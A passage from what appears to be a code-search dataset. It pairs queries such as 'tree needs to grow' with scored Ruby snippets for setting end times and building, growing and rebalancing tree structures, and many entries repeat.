set_EndTimestamp(value)\n set_input(\"EndTimestamp\", value)\n end", "title": "" }, { "docid": "36a6f5655ab681ec5446301404848eb9", "score": "0.6324368", "text": "def set_EndTimestamp(value)\n set_input(\"EndTimestamp\", value)\n end", "title": "" }, { "docid": "36a6f5655ab681ec5446301404848eb9", "score": "0.6324368", "text": "def set_EndTimestamp(value)\n set_input(\"EndTimestamp\", value)\n end", "title": "" }, { "docid": "36a6f5655ab681ec5446301404848eb9", "score": "0.6324368", "text": "def set_EndTimestamp(value)\n set_input(\"EndTimestamp\", value)\n end", "title": "" }, { "docid": "36a6f5655ab681ec5446301404848eb9", "score": "0.6324368", "text": "def set_EndTimestamp(value)\n set_input(\"EndTimestamp\", value)\n end", "title": "" }, { "docid": "6e86985bb2f0506749e47e20509c55bb", "score": "0.63121784", "text": "def setEndDate(endDate)\r\n\t\t\t\t\t@endDate = endDate\r\n\t\t\t\tend", "title": "" }, { "docid": "9e96cd698d69f27eac8c8e523e99a386", "score": "0.6260329", "text": "def end_date=(d)\n unless d.blank?\n write_attribute(:end_date, DateTime.new(d[:year].to_i, d[:month].to_i,\n d[:day].to_i, d[:hour].to_i, d[:minute].to_i, 0, DateTime.now.zone))\n end\n end", "title": "" }, { "docid": "fc8c2c96b2f9c12c400080a297b6ee54", "score": "0.6258176", "text": "def event_end_time\n return @event_end_time\n end", "title": "" }, { "docid": "a8a6dc197762a7a414e8f0051c36da63", "score": "0.62533396", "text": "def set_event\n @event = Event.find(params[:id])\n #@event.start_time = Time.at(@event.start_time).strftime('%d-%b-%Y %I:%M%p')\n end", "title": "" }, { "docid": "9f8296687ae0993da11af12bd46c2029", "score": "0.6239384", "text": "def end_time=(value)\n super time_for(value)\n rescue ArgumentError\n errors.add :end_time, \"is invalid\"\n super nil\n end", "title": "" }, { "docid": "0705c84f8786a15eec44147fd8ac7bcd", "score": "0.62067926", "text": "def end_time=(time)\n raise ArgumentError, \"End Time must be either Time or String\" unless (time.is_a?(String) || time.is_a?(Time))\n @end_time = ((time.is_a? String) ? Time.parse(time) : time)\n end", "title": "" }, { "docid": "ab868d1314945f07efc8b2458812443d", "score": "0.6204081", "text": "def set_end_date val\n start = Date.today\n @listing.end_date = @listing.event? ? @listing.event_end_date : start + val.days rescue nil\n end", "title": "" }, { "docid": "8c9efe913dd2e74b94330a02a4dccbac", "score": "0.61982906", "text": "def end_time\n read_attribute(:end_time) || start_time + DefaultEventLengthInHours.hours\n end", "title": "" }, { "docid": "f8bc8a620408facda89143e1e71644b9", "score": "0.6197418", "text": "def end_date=(date)\n date = IncompleteDate.new date unless date.is_a? IncompleteDate or date.nil?\n @end_date = date\n end", "title": "" }, { "docid": "c1f9878fc577f06c0d423e5b76ce8029", "score": "0.6190658", "text": "def save_end_time\n write_attribute( :end_time, self.end_time )\n end", "title": "" }, { "docid": "401232057248c9df20ecdcc0d0a16cda", "score": "0.61762446", "text": "def set_time(start_time, end_time, duration = nil)\n self.start_time = start_time\n self.end_time = end_time\n self.duration = duration\n end", "title": "" }, { "docid": "3bfbde6f4531d50923930c2663bfbebb", "score": "0.61520034", "text": "def setEndDate(year, month, day)\n selectByID(\"meeting_end_date_1i\", year)\n selectByID(\"meeting_end_date_2i\", month)\n selectByID(\"meeting_end_date_3i\", day)\n end", "title": "" }, { "docid": "bf5da787eff32469ca3c1fc9ac2ececb", "score": "0.6131831", "text": "def event_end_date\n self.event_date + self.course.length_minutes.minutes\n end", "title": "" }, { "docid": "0c6b6f7d777822e1912361cd91245c33", "score": "0.61013854", "text": "def set_has_finish_time\n @event = load_event_instance_from_session\n @event.event_finish = Time.now\n save_event_instance_in_session\n end", "title": "" }, { "docid": "2864b8fcedb22a924900d48117ad02ee", "score": "0.60748285", "text": "def set_EndTime(value)\n set_input(\"EndTime\", value)\n end", "title": "" }, { "docid": "2864b8fcedb22a924900d48117ad02ee", "score": "0.60748285", "text": "def set_EndTime(value)\n set_input(\"EndTime\", value)\n end", "title": "" }, { "docid": "2864b8fcedb22a924900d48117ad02ee", "score": "0.60748285", "text": "def set_EndTime(value)\n set_input(\"EndTime\", value)\n end", "title": "" }, { "docid": "2864b8fcedb22a924900d48117ad02ee", "score": "0.60748285", "text": "def set_EndTime(value)\n set_input(\"EndTime\", value)\n end", "title": "" }, { "docid": "2864b8fcedb22a924900d48117ad02ee", "score": "0.60748285", "text": "def set_EndTime(value)\n set_input(\"EndTime\", value)\n end", "title": "" }, { "docid": "2864b8fcedb22a924900d48117ad02ee", "score": "0.60748285", "text": "def set_EndTime(value)\n set_input(\"EndTime\", value)\n end", "title": "" }, { "docid": "2864b8fcedb22a924900d48117ad02ee", "score": "0.60748285", "text": "def set_EndTime(value)\n set_input(\"EndTime\", value)\n end", "title": "" }, { "docid": "2864b8fcedb22a924900d48117ad02ee", "score": "0.60748285", "text": "def set_EndTime(value)\n set_input(\"EndTime\", value)\n end", "title": "" }, { "docid": "2864b8fcedb22a924900d48117ad02ee", "score": "0.60748285", "text": "def set_EndTime(value)\n set_input(\"EndTime\", value)\n end", "title": "" }, { "docid": "2864b8fcedb22a924900d48117ad02ee", "score": "0.60748285", "text": "def set_EndTime(value)\n set_input(\"EndTime\", value)\n end", "title": "" }, { "docid": "2864b8fcedb22a924900d48117ad02ee", "score": "0.60748285", "text": "def set_EndTime(value)\n set_input(\"EndTime\", value)\n end", "title": "" }, { "docid": "2864b8fcedb22a924900d48117ad02ee", "score": "0.60748285", "text": "def set_EndTime(value)\n set_input(\"EndTime\", value)\n end", "title": "" }, { "docid": "2864b8fcedb22a924900d48117ad02ee", "score": "0.60748285", "text": "def set_EndTime(value)\n set_input(\"EndTime\", value)\n end", "title": "" }, { "docid": "2864b8fcedb22a924900d48117ad02ee", "score": "0.60748285", "text": "def set_EndTime(value)\n set_input(\"EndTime\", value)\n end", "title": "" }, { "docid": "2864b8fcedb22a924900d48117ad02ee", "score": "0.60748285", "text": "def set_EndTime(value)\n set_input(\"EndTime\", value)\n end", "title": "" }, { "docid": "2864b8fcedb22a924900d48117ad02ee", "score": "0.60748285", "text": "def set_EndTime(value)\n set_input(\"EndTime\", value)\n end", "title": "" }, { "docid": "2864b8fcedb22a924900d48117ad02ee", "score": "0.60748285", "text": "def set_EndTime(value)\n set_input(\"EndTime\", value)\n end", "title": "" }, { "docid": "2864b8fcedb22a924900d48117ad02ee", "score": "0.60748285", "text": "def set_EndTime(value)\n set_input(\"EndTime\", value)\n end", "title": "" }, { "docid": "2864b8fcedb22a924900d48117ad02ee", "score": "0.60748285", "text": "def set_EndTime(value)\n set_input(\"EndTime\", value)\n end", "title": "" }, { "docid": "2864b8fcedb22a924900d48117ad02ee", "score": "0.60748285", "text": "def set_EndTime(value)\n set_input(\"EndTime\", value)\n end", "title": "" }, { "docid": "2864b8fcedb22a924900d48117ad02ee", "score": "0.60748285", "text": "def set_EndTime(value)\n set_input(\"EndTime\", value)\n end", "title": "" }, { "docid": "2864b8fcedb22a924900d48117ad02ee", "score": "0.60748285", "text": "def set_EndTime(value)\n set_input(\"EndTime\", value)\n end", "title": "" }, { "docid": "2864b8fcedb22a924900d48117ad02ee", "score": "0.60748285", "text": "def set_EndTime(value)\n set_input(\"EndTime\", value)\n end", "title": "" }, { "docid": "2864b8fcedb22a924900d48117ad02ee", "score": "0.60748285", "text": "def set_EndTime(value)\n set_input(\"EndTime\", value)\n end", "title": "" }, { "docid": "2864b8fcedb22a924900d48117ad02ee", "score": "0.60748285", "text": "def set_EndTime(value)\n set_input(\"EndTime\", value)\n end", "title": "" }, { "docid": "2864b8fcedb22a924900d48117ad02ee", "score": "0.60748285", "text": "def set_EndTime(value)\n set_input(\"EndTime\", value)\n end", "title": "" }, { "docid": "2864b8fcedb22a924900d48117ad02ee", "score": "0.60748285", "text": "def set_EndTime(value)\n set_input(\"EndTime\", value)\n end", "title": "" }, { "docid": "2864b8fcedb22a924900d48117ad02ee", "score": "0.60748285", "text": "def set_EndTime(value)\n set_input(\"EndTime\", value)\n end", "title": "" }, { "docid": "2864b8fcedb22a924900d48117ad02ee", "score": "0.60748285", "text": "def set_EndTime(value)\n set_input(\"EndTime\", value)\n end", "title": "" } ]
46a35a3bab32c8f7391fd5399ae955b2
tree needs to grow
[ { "docid": "5f5e5fc83418f65cd5354ebf01a7c250", "score": "0.0", "text": "def water\n @size += 1\n end", "title": "" } ]
[ { "docid": "4737ba28144be7d17ac4411d8fd0d4fa", "score": "0.7578591", "text": "def grow_tree\n dataset.order_transaction_items(candidate_items).each do |transaction|\n add_transaction(transaction, root)\n end\n calculate_header_support\n end", "title": "" }, { "docid": "dc6d853f3507dcdecd84837c866a9124", "score": "0.6847898", "text": "def grow( )\n\t\tnew_leaves = [ ]\n\t\t@leaves.each do |leaf|\n\t\t\tif @forward\n\t\t\t\tsearch = lambda { |song| leaf.song.last == song.first }\n\t\t\telse\n\t\t\t\tsearch = lambda { |song| leaf.song.first == song.last }\n\t\t\tend\n\t\t\t$songs.find_all(&search).each do |next_song|\n\t\t\t\tnew_leaves << leaf.add_next(next_song)\n\t\t\tend\n\t\tend\n\t\t@leaves = new_leaves\n\tend", "title": "" }, { "docid": "2af5a84dd866cfba0368c16c35a6591b", "score": "0.66783553", "text": "def process_tree_with_renew\n @process_tree = nil\n process_tree\n end", "title": "" }, { "docid": "3b05e778c6e0486b21860bd5261bcf35", "score": "0.65336734", "text": "def update_tree(element); end", "title": "" }, { "docid": "ba6a9a828fe500f4d50b56af70aaea5d", "score": "0.6511861", "text": "def setup\n size(800, 200)\n new_tree\nend", "title": "" }, { "docid": "ac621869e0a6d6fc445a78dc8f196200", "score": "0.649041", "text": "def build_tree(arr)\n\tend", "title": "" }, { "docid": "2e9bddaeb73613b82baf94dd282e97ca", "score": "0.64675254", "text": "def expand_children node=:current_index\n $multiplier = 999 if !$multiplier || $multiplier == 0\n node = row_to_node if node == :current_index\n return if node.children.empty? # or node.is_leaf?\n #node.children.each do |e| \n #expand_node e # this will keep expanding parents\n #expand_children e\n #end\n node.breadth_each($multiplier) do |e|\n expand_node e\n end\n $multiplier = 0\n _structure_changed true\n end", "title": "" }, { "docid": "7cd42e1d66c454b2c76acbb3fa0139d4", "score": "0.6456175", "text": "def rebalance\n order = self.level_order\n return build_tree(order)\n end", "title": "" }, { "docid": "821076c3e30b54c4572778df39de4243", "score": "0.64477426", "text": "def append_tree( newtree )\n\t\t\tnewtree.each do |node|\n\t\t\t\tself.node_stack.last << node\n\t\t\tend\n\t\tend", "title": "" }, { "docid": "74c66995b7b056dbbb2a021026e98563", "score": "0.6397521", "text": "def rebuild!\n\n scope = lambda{}\n # TODO: add scope stuff\n \n # Don't rebuild a valid tree.\n return true if valid?\n indices = {}\n \n move_to_child_of_lambda = lambda do |parent_node|\n # Set left\n parent_node[nested_set_options[:left_column]] = indices[scope.call(parent_node)] += 1\n # Gather child noodes of parend_node and iterate by children\n parent_node.children.order(:id).all.each do |child_node|\n move_to_child_of_lambda.call(child_node)\n end\n # Set right\n parent_node[nested_set_options[:right_column]] = indices[scope.call(parent_node)] += 1\n parent_node.save\n end\n\n # Gatcher root nodes and iterate by them\n self.roots.all.each do |root_node|\n # setup index for this scope\n indices[scope.call(root_node)] ||= 0\n move_to_child_of_lambda.call(root_node)\n end\n end", "title": "" }, { "docid": "a4c13da4029c487e4829fe239ae75bef", "score": "0.6382768", "text": "def tree\n @tree ||= build_tree\n end", "title": "" }, { "docid": "58932e5b0fe905c9a6b3fa9f23b2f07a", "score": "0.6365949", "text": "def structure_reform(curNode, addNode)\n # reset branches for reform\n @branches = []\n @branch_count = 0\n # puts 'before cleanup'\n # lNode.print_tree\n # rNode.print_tree\n # rNode.print_tree\n # remove_PH_node(lNode)\n # remove_PH_node(rNode)\n # remove_PH_node(curNode)\n # puts 'after cleanup'\n # curNode.print_tree\n # addNode.print_tree\n # rNode.print_tree\n curChildren = curNode.children.count == 0 ? [curNode] : curNode.children\n addChildren = addNode.children.count == 0 ? [addNode] : addNode.children\n count = 0\n # p 'lnode'\n # pp lChildren\n # p 'rnode'\n curChildren.each do |ln|\n curNode.remove!(ln)\n addChildren.each do |rn|\n # p '--------------'\n # p 'ln'\n # ln.print_tree\n # p 'rn'\n # rn.print_tree\n # binding.pry\n # phName=\"PH#{@branch_count}\"\n # ph =Tree::TreeNode.new(phName, '')\n ln_append = ln.detached_subtree_copy\n # p 'ln_append before'\n # ln_append.print_tree\n append_to_end(ln_append, rn)\n # p 'ln_append'\n # ln_append.print_tree\n # ph<<ln_append #unless curNode==newNode\n ln_append = add_branch(ln_append)\n # p 'ln_append after'\n # ln_append.print_tree\n curNode << ln_append\n # p 'ph'\n # ph.print_tree\n # p 'curNode'\n # curNode.print_tree\n end\n end\n end", "title": "" }, { "docid": "c9fb836a6cb738973c5fc8ce5318f44c", "score": "0.6325084", "text": "def grow\n @is_growing =true\n end", "title": "" }, { "docid": "41513d3e667217ce75c2583f85d8392f", "score": "0.62688905", "text": "def renumber_full_tree\n indexes = []\n n = 1\n transaction do\n for r in roots # because we may have virtual roots\n n = 1 + r.calc_numbers(n, indexes)\n end\n for i in indexes\n base_set_class.update_all(\"#{left_col_name} = #{i[:lft]}, #{right_col_name} = #{i[:rgt]}\", \"#{self.class.primary_key} = #{i[:id]}\")\n end\n end\n ## reload?\n end", "title": "" }, { "docid": "ed135bdf222be42aea746dbe2e94099e", "score": "0.62687993", "text": "def growing\n new_outer_nodes = []\n @outer_nodes.each do |o_n|\n new_partial_outer_nodes = set_outer_nodes(@neighbors_hash[o_n])\n new_outer_nodes << check_partial_outer_nodes(new_partial_outer_nodes, o_n)\n new_outer_nodes.flatten!\n end\n @outer_nodes = new_outer_nodes.compact\n end", "title": "" }, { "docid": "1362846d3b2eb2527254d4ad6810a27b", "score": "0.6248503", "text": "def rebalance\n @root = build_tree(self.level_order_traversal) if !self.balanced?\n end", "title": "" }, { "docid": "110f29e4f40061ba0380d75fe25e8c1e", "score": "0.62317467", "text": "def tree\n h.updated_tree || h.original_tree\n end", "title": "" }, { "docid": "c6686f2c4b13da35e9e4a98eca5a5bb1", "score": "0.62215257", "text": "def tree\n\n h.updated_tree || h.original_tree\n end", "title": "" }, { "docid": "2590b1294d695bc1eceb4a36798fc222", "score": "0.6182129", "text": "def renumber_full_tree\n indexes = []\n n = 1\n transaction do\n for r in roots # because we may have virtual roots\n n = r.calc_numbers(n, indexes)\n end\n for i in indexes\n base_set_class.update_all(\"#{left_col_name} = #{i[:lft]}, #{right_col_name} = #{i[:rgt]}\", \"#{self.class.primary_key} = #{i[:id]}\")\n end\n end\n ## reload?\n end", "title": "" }, { "docid": "c796e87a9098cc0150e2e1dbe2114dfe", "score": "0.61519563", "text": "def update_tree(object, parent = nil)\n self.change_tree do\n self.clear unless parent\n self.fill_model(object, parent)\n end\n end", "title": "" }, { "docid": "e9b8e6a46e6ebf6f52255d5cc15e288f", "score": "0.61397654", "text": "def update_subtree\n children.find_all {|child| child.kind_of?(NonLeafNode)}.each do |child|\n child.update_subtree\n end\n update_shash(false)\n end", "title": "" }, { "docid": "931794956ef18e75f98978ea6b5c6c3e", "score": "0.6092146", "text": "def build_move_tree\n self.root_node = PolyTreeNode.new(start_pos) #instance variable\n \n queue = [root_node]\n until queue.empty?\n #pop,queue\n cur_node = queue.shift\n move_list = new_move_positions(cur_node.value)\n move_list.each do |pos|\n child_node = PolyTreeNode.new(pos)\n cur_node.add_child(child_node)\n queue << child_node\n end\n end\n end", "title": "" }, { "docid": "960146948981347b05b349538fec351b", "score": "0.6075316", "text": "def assign_tree(tree)\n nodes = tree.sort_by { |e| e['weight'].to_i }\n new_collection_ids = nodes.map { |e| e['id'] }\n if ordered_subset?(new_collection_ids)\n removed_collection_ids = collection_member_ids - new_collection_ids\n self.member_ids = (member_ids.map(&:to_s) - removed_collection_ids) unless removed_collection_ids.empty?\n else\n self.member_ids = new_collection_ids + noncollection_member_ids\n end\n nodes.each do |node|\n b = ActiveFedora::Base.find(node['id'])\n b.assign_tree node['children']\n b.save! #TODO We could move this save into an after_save hook.\n end\n end", "title": "" }, { "docid": "b021a794c987a74b2258f1cda651ff82", "score": "0.60511667", "text": "def expand_tree(path)\n names = path.split('/')\n names.pop\n parent = work_tree\n names.each do |name|\n object = parent[name]\n break if !object\n if object.type == :blob\n parent.move(name, name + CONTENT_EXT)\n break\n end\n parent = object\n end\n end", "title": "" }, { "docid": "1f5bd1a1a1ecaaec538ae8178ccf86d7", "score": "0.6040547", "text": "def touch\n get_leaf_nodes.each do |leaf|\n leaf.parent.touch\n end\n end", "title": "" }, { "docid": "091b72718b31317a207ee6b483305e5c", "score": "0.6030885", "text": "def child_tree\n child_check\n child_tree = self.clone\n child_tree.removeFromParent!\n child_tree\n end", "title": "" }, { "docid": "cad83d4e95cd9553983f3b5807dd7e7f", "score": "0.60273886", "text": "def build_tree array\n\t\t@root = Node.new array[0]\n\t\t@nodes += 1\n\t\tarray[1..-1].each do |var|\n\t\t\tinsert(@root,var)\n\t\tend\n\tend", "title": "" }, { "docid": "40c713c2116999ede1ca671c8b64fb29", "score": "0.60261095", "text": "def expand_tree(path)\n names = path.split('/')\n names.pop\n parent = @git.root\n names.each do |name|\n object = parent[name]\n break if !object\n if object.type == :blob\n parent.move(name, name + CONTENT_EXT)\n break\n end\n parent = object\n end\n end", "title": "" }, { "docid": "e38534537c6dfc4bcc58ae25582b7daa", "score": "0.599672", "text": "def tree\n # Caution: use only for small projects, don't use in root.\n @title = 'Full Tree'\n # @files = `zsh -c 'print -rl -- **/*(#{@sorto}#{@hidden}M)'`.split(\"\\n\")\n @files = Dir['**/*']\n message \"#{@files.size} files.\"\nend", "title": "" }, { "docid": "6d4f6a517b676827f3f263eb5b86e1e9", "score": "0.5986529", "text": "def produce_tree(ary); end", "title": "" }, { "docid": "35c62bf83a8df45c3e2010b9f0132fc2", "score": "0.5974607", "text": "def build_tree_unsorted(arr)\n root = nil\n arr.each do |item|\n root = insert_tree(item, root)\n end\n\n root\nend", "title": "" }, { "docid": "3aa7447234e23e27772610f0921f6bab", "score": "0.5943445", "text": "def write_tree\n invoke(:write_tree)\n end", "title": "" }, { "docid": "b3f8d6a47bdfc3e7e87bbc8ede4420a3", "score": "0.5940178", "text": "def children() []; end", "title": "" }, { "docid": "ceb82857a224c37970cea0ddd209719d", "score": "0.59366", "text": "def children; []; end", "title": "" }, { "docid": "91e89782f3de4955b2356f5e234eee27", "score": "0.59252423", "text": "def plant_a_tree\n new_tree = [OrangeTree.new]\n @tree_array = @tree_array + new_tree\n end", "title": "" }, { "docid": "fca85ea1c7a6861119249223d0b27840", "score": "0.5922407", "text": "def add_to_tree(item, node)\n return rebalance(super(item, node))\n end", "title": "" }, { "docid": "4436e753afff33101bf6028b63d0a02d", "score": "0.5909949", "text": "def init_simple_tree\n @root_org = Org.create(name: 'root')\n @lv1_child_org = Org.create(name: 'lv1')\n @lv1_child_org2 = Org.create(name: 'lv1-2')\n @lv2_child_org = Org.create(name: 'lv2')\n @lv2_child_org2 = Org.create(name: 'lv2-2')\n @lv2_child_org3 = Org.create(name: 'lv2-3')\n @lv2_child_org4 = Org.create(name: 'lv2-4')\n @lv3_child_org = Org.create(name: 'lv3')\n @lv3_child_org2 = Org.create(name: 'lv3-2')\n @lv4_child_org = Org.create(name: 'lv4')\n @lv4_child_org2 = Org.create(name: 'lv4-2')\n @lv5_child_org = Org.create(name: 'lv5')\n @lv5_child_org2 = Org.create(name: 'lv5-2')\n\n current_time = Time.now\n\n @root_org.elements_under_default_root.create(\n parent_id: @root_org.id,\n child_id: @root_org.id,\n distance: 0,\n start_time: 10.minutes.ago(current_time),\n end_time: 1000.years.from_now,\n scope_name: 'default'\n )\n\n # 10 minutes ago\n @root_org.elements_under_default_root.create(\n parent_id: @root_org.id,\n child_id: @lv2_child_org.id,\n distance: 1,\n start_time: 10.minutes.ago(current_time),\n end_time: current_time,\n scope_name: 'default'\n )\n\n @root_org.elements_under_default_root.create(\n parent_id: @root_org.id,\n child_id: @lv1_child_org.id,\n distance: 2,\n start_time: 10.minutes.ago(current_time),\n end_time: current_time,\n scope_name: 'default'\n )\n\n @root_org.elements_under_default_root.create(\n parent_id: @lv2_child_org.id,\n child_id: @lv1_child_org.id,\n distance: 1,\n start_time: 10.minutes.ago(current_time),\n end_time: current_time,\n scope_name: 'default'\n )\n\n # now\n\n @root_org.elements_under_default_root.create(\n parent_id: @root_org.id,\n child_id: @lv1_child_org.id,\n distance: 1,\n start_time: current_time,\n end_time: 1000.years.since(current_time),\n scope_name: 'default'\n )\n\n @root_org.elements_under_default_root.create(\n parent_id: @root_org.id,\n child_id: @lv1_child_org2.id,\n distance: 1,\n start_time: current_time,\n end_time: 1000.years.since(current_time),\n scope_name: 'default'\n )\n\n @root_org.elements_under_default_root.create(\n parent_id: @root_org.id,\n child_id: @lv2_child_org.id,\n distance: 2,\n start_time: current_time,\n end_time: 1000.years.since(current_time),\n scope_name: 'default'\n )\n\n @root_org.elements_under_default_root.create(\n parent_id: @lv1_child_org.id,\n child_id: @lv2_child_org.id,\n distance: 1,\n start_time: current_time,\n end_time: 1000.years.since(current_time),\n scope_name: 'default'\n )\n\n @root_org.elements_under_default_root.create(\n parent_id: @root_org.id,\n child_id: @lv2_child_org2.id,\n distance: 2,\n start_time: current_time,\n end_time: 1000.years.since(current_time),\n scope_name: 'default'\n )\n\n @root_org.elements_under_default_root.create(\n parent_id: @lv1_child_org.id,\n child_id: @lv2_child_org2.id,\n distance: 1,\n start_time: current_time,\n end_time: 1000.years.since(current_time),\n scope_name: 'default'\n )\n\n @root_org.elements_under_default_root.create(\n parent_id: @root_org.id,\n child_id: @lv2_child_org3.id,\n distance: 2,\n start_time: current_time,\n end_time: 1000.years.since(current_time),\n scope_name: 'default'\n )\n\n @root_org.elements_under_default_root.create(\n parent_id: @lv1_child_org2.id,\n child_id: @lv2_child_org3.id,\n distance: 1,\n start_time: current_time,\n end_time: 1000.years.since(current_time),\n scope_name: 'default'\n )\n\n @root_org.elements_under_default_root.create(\n parent_id: @root_org.id,\n child_id: @lv2_child_org4.id,\n distance: 2,\n start_time: current_time,\n end_time: 1000.years.since(current_time),\n scope_name: 'default'\n )\n\n @root_org.elements_under_default_root.create(\n parent_id: @lv1_child_org2.id,\n child_id: @lv2_child_org4.id,\n distance: 1,\n start_time: current_time,\n end_time: 1000.years.since(current_time),\n scope_name: 'default'\n )\n\n @root_org.elements_under_default_root.create(\n parent_id: @root_org.id,\n child_id: @lv3_child_org.id,\n distance: 3,\n start_time: current_time,\n end_time: 1000.years.since(current_time),\n scope_name: 'default'\n )\n\n @root_org.elements_under_default_root.create(\n parent_id: @lv1_child_org.id,\n child_id: @lv3_child_org.id,\n distance: 2,\n start_time: current_time,\n end_time: 1000.years.since(current_time),\n scope_name: 'default'\n )\n\n @root_org.elements_under_default_root.create(\n parent_id: @lv2_child_org.id,\n child_id: @lv3_child_org.id,\n distance: 1,\n start_time: current_time,\n end_time: 1000.years.since(current_time),\n scope_name: 'default'\n )\n\n @root_org.elements_under_default_root.create(\n parent_id: @root_org.id,\n child_id: @lv4_child_org.id,\n distance: 4,\n start_time: current_time,\n end_time: 1000.years.since(current_time),\n scope_name: 'default'\n )\n\n @root_org.elements_under_default_root.create(\n parent_id: @lv1_child_org.id,\n child_id: @lv4_child_org.id,\n distance: 3,\n start_time: current_time,\n end_time: 1000.years.since(current_time),\n scope_name: 'default'\n )\n\n @root_org.elements_under_default_root.create(\n parent_id: @lv2_child_org.id,\n child_id: @lv4_child_org.id,\n distance: 2,\n start_time: current_time,\n end_time: 1000.years.since(current_time),\n scope_name: 'default'\n )\n\n @root_org.elements_under_default_root.create(\n parent_id: @lv3_child_org.id,\n child_id: @lv4_child_org.id,\n distance: 1,\n start_time: current_time,\n end_time: 1000.years.since(current_time),\n scope_name: 'default'\n )\n\n @root_org.elements_under_default_root.create(\n parent_id: @root_org.id,\n child_id: @lv5_child_org.id,\n distance: 5,\n start_time: current_time,\n end_time: 1000.years.since(current_time),\n scope_name: 'default'\n )\n\n @root_org.elements_under_default_root.create(\n parent_id: @lv1_child_org.id,\n child_id: @lv5_child_org.id,\n distance: 4,\n start_time: current_time,\n end_time: 1000.years.since(current_time),\n scope_name: 'default'\n )\n\n @root_org.elements_under_default_root.create(\n parent_id: @lv2_child_org.id,\n child_id: @lv5_child_org.id,\n distance: 3,\n start_time: current_time,\n end_time: 1000.years.since(current_time),\n scope_name: 'default'\n )\n\n @root_org.elements_under_default_root.create(\n parent_id: @lv3_child_org.id,\n child_id: @lv5_child_org.id,\n distance: 2,\n start_time: current_time,\n end_time: 1000.years.since(current_time),\n scope_name: 'default'\n )\n\n @root_org.elements_under_default_root.create(\n parent_id: @lv4_child_org.id,\n child_id: @lv5_child_org.id,\n distance: 1,\n start_time: current_time,\n end_time: 1000.years.since(current_time),\n scope_name: 'default'\n )\n\n @root_org.elements_under_default_root.create(\n parent_id: @root_org.id,\n child_id: @lv3_child_org2.id,\n distance: 3,\n start_time: current_time,\n end_time: 1000.years.since(current_time),\n scope_name: 'default'\n )\n\n @root_org.elements_under_default_root.create(\n parent_id: @lv1_child_org.id,\n child_id: @lv3_child_org2.id,\n distance: 2,\n start_time: current_time,\n end_time: 1000.years.since(current_time),\n scope_name: 'default'\n )\n\n @root_org.elements_under_default_root.create(\n parent_id: @lv2_child_org2.id,\n child_id: @lv3_child_org2.id,\n distance: 1,\n start_time: current_time,\n end_time: 1000.years.since(current_time),\n scope_name: 'default'\n )\n\n @root_org.elements_under_default_root.create(\n parent_id: @root_org.id,\n child_id: @lv4_child_org2.id,\n distance: 4,\n start_time: current_time,\n end_time: 1000.years.since(current_time),\n scope_name: 'default'\n )\n\n @root_org.elements_under_default_root.create(\n parent_id: @lv1_child_org.id,\n child_id: @lv4_child_org2.id,\n distance: 3,\n start_time: current_time,\n end_time: 1000.years.since(current_time),\n scope_name: 'default'\n )\n\n @root_org.elements_under_default_root.create(\n parent_id: @lv2_child_org2.id,\n child_id: @lv4_child_org2.id,\n distance: 2,\n start_time: current_time,\n end_time: 1000.years.since(current_time),\n scope_name: 'default'\n )\n\n @root_org.elements_under_default_root.create(\n parent_id: @lv3_child_org2.id,\n child_id: @lv4_child_org2.id,\n distance: 1,\n start_time: current_time,\n end_time: 1000.years.since(current_time),\n scope_name: 'default'\n )\n\n @root_org.elements_under_default_root.create(\n parent_id: @root_org.id,\n child_id: @lv5_child_org2.id,\n distance: 5,\n start_time: current_time,\n end_time: 1000.years.since(current_time),\n scope_name: 'default'\n )\n\n @root_org.elements_under_default_root.create(\n parent_id: @lv1_child_org.id,\n child_id: @lv5_child_org2.id,\n distance: 4,\n start_time: current_time,\n end_time: 1000.years.since(current_time),\n scope_name: 'default'\n )\n\n @root_org.elements_under_default_root.create(\n parent_id: @lv2_child_org2.id,\n child_id: @lv5_child_org2.id,\n distance: 3,\n start_time: current_time,\n end_time: 1000.years.since(current_time),\n scope_name: 'default'\n )\n\n @root_org.elements_under_default_root.create(\n parent_id: @lv3_child_org2.id,\n child_id: @lv5_child_org2.id,\n distance: 2,\n start_time: current_time,\n end_time: 1000.years.since(current_time),\n scope_name: 'default'\n )\n\n @root_org.elements_under_default_root.create(\n parent_id: @lv4_child_org2.id,\n child_id: @lv5_child_org2.id,\n distance: 1,\n start_time: current_time,\n end_time: 1000.years.since(current_time),\n scope_name: 'default'\n )\nend", "title": "" }, { "docid": "28c9648f55b91fc2eab32d452f361d62", "score": "0.589779", "text": "def clear!\n\t\t\tself.tree = []\n\t\t\tself.current = tree\n\t\tend", "title": "" }, { "docid": "c31871422cdc63ec827cc57e106c3ed1", "score": "0.58959275", "text": "def clear\n @tree.clear\n return 0\n end", "title": "" }, { "docid": "a41766a69421e511897471f152ef3eaa", "score": "0.5878801", "text": "def update_children_with_new_parent\n if path_changed? and not new_record? then\n old_path = (path_was.blank? ? id.to_s : \"#{path_was}.#{id}\")\n self.class.where(\"path <@ ?\", old_path).update_all([ \"path = TEXT2LTREE(REPLACE(LTREE2TEXT(path), ?, ?))\", old_path, my_path ])\n end\n end", "title": "" }, { "docid": "9de940de1e3f2185d16ff0fa83b93a65", "score": "0.58741647", "text": "def delete_tree\n @root = nil # In ruby it will be taken care by garbage collector\n end", "title": "" }, { "docid": "84427094f729e10aa438710af401c7d9", "score": "0.5872611", "text": "def build_move_tree\n queue = [@root_node]\n until queue.empty?\n current_node = queue.shift\n possible_positions = new_move_positions(current_node.value) #[]\n possible_positions.each do |position| #[1,2]\n child_node = PolyTreeNode.new(position) #node object(value = 1,2)\n child_node.parent = current_node\n current_node.add_child(child_node)\n queue << child_node\n end\n end\n end", "title": "" }, { "docid": "7a58d21194683f3482283b5c721b415f", "score": "0.5871416", "text": "def fixBTree( node, index)\n # If the left sibling has more than min keys.\n if (index != 0 && node.arr[index - 1].n > self.min)\n self.borrowFromLeft(node, index)\n elsif (index != node.n && node.arr[index + 1].n > self.min)\n self.borrowFromRight(node, index)\n else\n if (index != node.n)\n self.merge(node, index)\n else\n self.merge(node, index - 1)\n end\n end\n end", "title": "" }, { "docid": "3b6fe118bbe1f0bd51801e43b7380d72", "score": "0.58659023", "text": "def build_tree( n , d )\n \n if d.key?('v')\n n < d['v'] ? build_tree(n , d['l']) : build_tree(n, d['r'])\n else\n d['l'] = {}\n d['v'] = n\n d['r'] = {}\n end\n \nend", "title": "" }, { "docid": "bef74d6b8a46b3dd674c5ea3048c5e83", "score": "0.5849591", "text": "def push_tree\n new_node = NaryTree.new nil\n @tree_stack.last.children << new_node\n @tree_stack.push new_node\n end", "title": "" }, { "docid": "e5e665dc55f24817e0fd9e3359e48e76", "score": "0.584795", "text": "def size\n return @tree.size\n end", "title": "" }, { "docid": 